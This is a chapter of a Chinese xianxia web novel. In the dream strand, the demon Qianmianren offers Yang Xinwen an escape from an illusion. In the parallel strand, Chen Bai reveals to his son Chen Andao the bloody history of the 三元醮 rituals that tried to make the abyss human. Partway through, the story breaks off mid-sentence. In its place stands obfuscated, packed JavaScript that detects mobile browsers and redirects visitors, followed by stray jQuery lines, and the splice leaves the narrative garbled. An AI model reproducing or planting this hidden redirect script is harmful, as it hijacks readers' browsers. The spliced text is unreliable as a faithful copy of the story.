黄金乡 作品

72.今朝事

入眼是一道飞流直下的瀑布旁,水流激荡,自石间落下,飞溅起雪白的水沫,千面人顶着他娘的模样,坐在瀑布下游处的茵草地上,两只脚踩在水里,一派轻松惬意的模样。


“帮我个忙。”杨心问单刀直入,“我被人困住了,你有办法让我脱身吗?”


千面人眯了眯眼,又伸手将裤腿卷高了些,头也不回道:“此时将你困住,想来是为了你好,你不若乖巧些,不要辜负了他人的好意。”


“什么是对我好,轮不到旁人来给我拿主意。”杨心问说,“你到底有办法没有?”


千面人叹了口气:“冥顽不灵。”


他将腿收起,慢慢地站了起来,一瞬光影而过,杨心问看见他的脸变成了叶珉的。


“我确实有办法。”千面人掀起那双桃花眼上的薄皮儿,“只是你要如何报答我?”


“你欲如何?”


“还没想好。”千面人说,“你只说答不答应。”


杨心问信口答道:“我答应。”


千面人摇头:“你这小鬼,忒没诚意。”


杨心问确实没诚意,食言而肥有什么难的?这千面人本就是拿他人性命为饵的邪魔,还曾经偷袭过他,哪怕在梦里见面说得好听,杨心问也不觉得这人当真爱重自己,必定是有所图谋。


有所图谋,就有交易可做。


“那怎么办,我答应了,你又不相信。”


只见千面人用叶珉的脸,做出了一副“真拿你没办法”的神色,将手中的折扇打了打:“算啦,这次不过是个小忙,你若能活着再见到我,到时候再跟你谈交情,想来也不迟。”


杨心问心道若在梦外相见,他第一件事就是喊人一起把这邪祟给剁了。


“来,坐下,我帮你想想出去的法子。”


千面人盘腿坐在了草地上,杨心问也跟着坐在了他对面。


“困你的是谁?”


杨心问略一犹豫:“我的一位师兄。”


“姓陈的那个?”


“不是。”杨心问看着千面人现下的脸,“姓叶。”


“呵,你身边贵人倒是多。”千面人一开折扇,笑道,“圣女一脉的?”


杨心问点点头。


“用的什么困你?”


“一个石狮子,不过长着羊角人脸。”杨心问说,“他说那是藏经阁,也不知道是不是真的,一回神我就已经被吞到不知哪里去的地方了。”


千面人用扇子虚点了他一下:“没见识,羊角人脸,那是饕餮。叶家的石饕餮,内里通十方幻景,小友,你这是着相了呀。”


“十方幻景?”


“幻景不困人肉身,而是困人元神心魂,这倒是不好办了。”


“你也没办法?”


“不是没办法,但比我原来想的麻烦的多,还得劳烦别人,怕是不能平白帮你了。”


话又兜了回来,杨心问皱眉道:“你要我做什么不妨直说。”


“你如今的道行,我哪里有事要让你做?”千面人说,“只是要帮你,便要劳烦诸位仙众,我愿意助你,旁人可不愿意。”


杨心问不知他葫芦里卖着什么药,只能顺着他的话说:“那他们又要我帮什么忙?”


千面人笑了。


他一半的脸还是叶珉,另一半却成了季铁的脸,两张全然对不上的脸拼凑在了一起,骇得杨心问险些一剑刺过去。


“我虽日日吞人梦魇,可力有不逮,能照顾到的仙众寥寥无几,还是有许多仙友在梦中受苦受难。”两道截然不同的声音同时发声,如高低不同的吟诵,环绕在杨心问耳边,“你若愿意时时分担这些梦魇,我便帮你出去。”


杨心问略微一顿:“仅此而已?”


千面人点头:“仅此而已。”


杨心问不相信做些噩梦便能诓这人相助,谨慎道:“这些噩梦有什么特殊之处吗?”


“有。万般仙众人数众多,若只做一人的梦,那大多数人都受不了这恩泽,所以这些梦都是由千百个噩梦杂糅而成的,有时它们各自为政,你会觉得自己同时做了千百个梦,有时候他们交织在一起,又自发地衍生出一个崭新的梦魇。”千面人说,“这差事常人可做不了,一瞬便会疯魔,若非你与我同为心魄,我也不会托你做这件事。”


听到千面人骤然提到心魄,杨心问下意识地坐正了些。


“叶珉”的眼睛动了动,“季铁”的却没有:“怎么,不乐意?”


“什么叫做‘同为心魄’?”杨心问说,“我与你究竟有什么缘分?”


千面人微微一怔,半晌道:“你竟不知道?”


杨心问只觉得自己浑身都在发烫,心跳越来越快:“什么意思?”


“我们那时他们可没瞒着。”千面人的语气听起来竟有些难过,“果真是大不相同了。”


杨心问竭力克制着自己,不叫自己冲上去抓着他衣领,大喊别废话快说。


似乎这世上但凡重要的秘密都难以轻易揭露,每个讲故事的人都要拿腔装调一下,在最紧要的时候故弄玄虚,而后再高喝一声“且听下回分解”,才能骗得人再来听他胡说。


好在千面人是个吃人血肉的邪祟,不靠这个过活,他只是略微顿了顿,信手拿了颗石子,往天上抛,便开口道——


“你是从何处知晓这些的?


竹帘轻摇,纱幔另一侧的人影模糊,陈安道依旧跪在地上,只听得见那全然算不上答案的一句问话。


陈安道垂眸:“机缘巧合。”


“好……好,我叫你多想,你也确实算想了。”陈柏的声音飘渺似此间云雾,他看着那棋盘,心想若是自己与陈安道在此对弈,他可还有胜算。


“了不得,了不得。”


“那你可知,依照盟约,此事非家主不可传?”


到底是秋天,未铺氍毹的地板有些发凉,跪久了之后,那森然的寒意便渗进了膝盖,再久些,便觉得发麻,倒是不疼了。


“你若要……咳——知道这盟约的内容,便是做好了承袭这家主之位的准备。”陈柏慢道,“你明白吗?”


陈安道沉默片刻,缓缓颔首。


似是对这个回答早有预料,陈柏微微笑道:“我儿,问吧。”


“迄今为止,三元醮开过几次坛?”


“两次。”


“可都成功了?”


“否。”陈柏答道,拾起一颗白子,朝着棋盘中递出去,“第一次的三相推算不够透彻,骨血身上还留了灵脉,阵眼反噬,整个罗生道上血流漂橹,无人生还。”


抛到天上的石子被千面人稳稳接住:“还能动的只有我们三个。我,海晏,庄千楷,虽都不成人样,但到底是从那里爬了出去。”


杨心问皱眉:“师兄与我说过,五十年前罗生道上万人自焚,引来深渊降临,说的可是此事?”


“焚烧是真,自焚是假。尸体和走肉都太多,事后只能焚烧处理,死无对证,三人之中我离开得最晚,那火我是看着他们亲手放的,若非那大火将走肉烧得模糊,我混在其中跑了,恐怕早就在那散魂了。”


“那是谁放的火?”


“还能是谁?”陈柏自嘲道,“自然是世家的长辈。”


陈安道一动不动,许久才问:“那第二次呢?”


“第二次,成了一半。”


“一半?”


“第二次是十五年前,就在临渊宗的雾淩峰上,用万人开坛。彼时三相分别是上官赞,盛衢,还有你母亲岳华兰。”陈柏复攥起了颗黑子,眼神飘忽着,似是被言语牵回了那日,“那次……那次本该是最接近成功的一次……但还是失败了,你可知为何?”


万人开坛。


像是被这个血淋淋的数目压得喘不过气来,陈安道的呼吸有些急促,手脚发冷,鼻尖却冒出了些薄汗来,他知道自己的的胸口跳动着一个答案,却连去瞧一眼便觉得那血光刺伤了他的眼。


青瓷碗上的锦鲤衔尾,碗身上粘附的水雾凝结成珠,缀在那鲤鱼的鱼鳍一角。


十五年前是他母亲身死的那年。


十五年前也是他出生的那年。


千面人打开手掌,里头的石子已成粉末:“是因为你那宝贝师兄。”


陈柏说:“是因为你。”


虎头铡悍然落下,陈安道只觉尸首分离,血肉横飞,偏偏还是死


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913928|132469||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


不干净。


陈柏轻道:“那天,为了护你母亲周全,关家所有巨啸境以上的医修皆在此随侍,白老先生也陪在左右,若有半分凶险,便去子留母,绝不能让你母亲有半点闪失。”


千面人看着杨心问苍白的面孔,笑得越发荡漾:“只是谁也没想到,你那师兄是百年难遇的先天灵脉,生而天有异象。”


“若是百鸟朝凤,五色光贯紫薇这样的祥兆倒也罢了,偏偏是九道雷劫。”


“我接了四道,元神碎裂。”陈柏掌中的棋子握了许久,却依旧暖不起来,“所有医修拼死接了三道,悉数当场命陨。华兰彼时早已将灵脉剔除干净,又值生产,这最后两道避无可避,挡无可挡,身受了下来。”


“本该是在三年后才进行的三元醮不得不提前,因为第二代的骨血垂死,叩齿时已经快不成了。”千面人的半张脸又开始变化,杨心问已然知道他这次会变成谁,却连看也不忍心再看。


“那场三元醮又是一场豪赌,但万人的血阵已经压了下去,他们没有收手的余地,只能硬着头皮继续。”千面人说,“那半死不活的骨血倒真是硬气,竟连这都撑了过去,叫这第二次三元醮成了——至少成了一半。”


杨心问的掌心粘了些湿润的泥土,手边的草被他连根拔起,那根系离地的声音同齿臼被生拉硬拽出来的动静一般,疼得他心口发颤。


天高风清,那高悬天际的云彩似从未染尘。


“我想不通。”杨心问的语气平静地可怕,“你们究竟是要做什么才弄出这么大的阵仗来?”


“自然是为了深渊。”


“就为了请深渊?”杨心问不解,“可季铁一个人便能请深渊降临。”


“请祂?”千面人一挑眉,他已变成了陈安道的模样,那下垂的眼角里露出些茫然,苍白的脸看起来格外无辜,随即却又露出了一道诡异的笑容。


“小友,你可太低估这群仙门世家的不可一世了。”


“请来能做什么?”陈柏轻轻摇头,“我们是能伤了深渊,还是能杀了它?深渊其名不可说,其状不可表,其理不可道,那是比太初更古老和原始的存在。”


千面人面露狰狞:“不,他们怎么甘心,他们要一劳永逸的方法,他们要这世间再无堕化,再无邪祟横行于世,一山不容二虎,横行于世的只能是他们。”


杨心问一愣:“那三元醮究竟是为了什么?”


廊下葳蕤兰草生出些暗香,叫风一吹,旋进了内室,裹在浓雾和停滞的空气里糜烂。


陈安道似禽畜般趴在地上,板正的肩背已经叫尸山血海碾碎,只剩一滩腐臭的血肉,淤积在这澄澄日光之下。


千面人话锋一转,忽而问道:“小友,你可知‘人’为何物?”


陈安道不知道是自己的哪部分还在回答道:


“人,所谓天地之性最贵者也*”


陈柏手指拨弄着那棋子:“贵在何处?”


“知廉耻,明礼义,守孝悌,辨是非。”


陈柏冷笑,那笑声中的嘲弄,像是能将陈安道已经被焚毁的尸骨都悉数吹散。


“所谓人——咳咳——哪有这般高贵,不过是……是有着元神心魄骨血三相之物,有这三相,便是人了。”


千面人:“只要以这三相构筑便可为人,只要为人,便能有实体,有灵智,有贪嗔痴,怨憎会,就能掌控在另一人的手上,不再无敌于世间。”


陈柏:“我们借天座莲和三元醮把深渊召了出来,然后将祂引入三相之中。”


千面人:“他们将深渊做成了人。”


陈柏:“我们将深渊塑成了人。”


“还好,只成了一半。”


“可惜,只成了一半。”


劲风揉碎了白云,又撕扯着枯叶,瀑布飞流直下,裹挟着泥沙坠入水面,锒铛似玉石碎,坚冰裂。


惊诧的银杏叶自树顶一跃而下,降在了杨心问的发顶,落在了陈安道的肩上。


杨心问缓缓仰起了脸。


陈安道慢慢合上了眼。


“成了的那一半,便是当今的‘雾淩星纪,临渊一剑’。”


“你的师父,李正德。”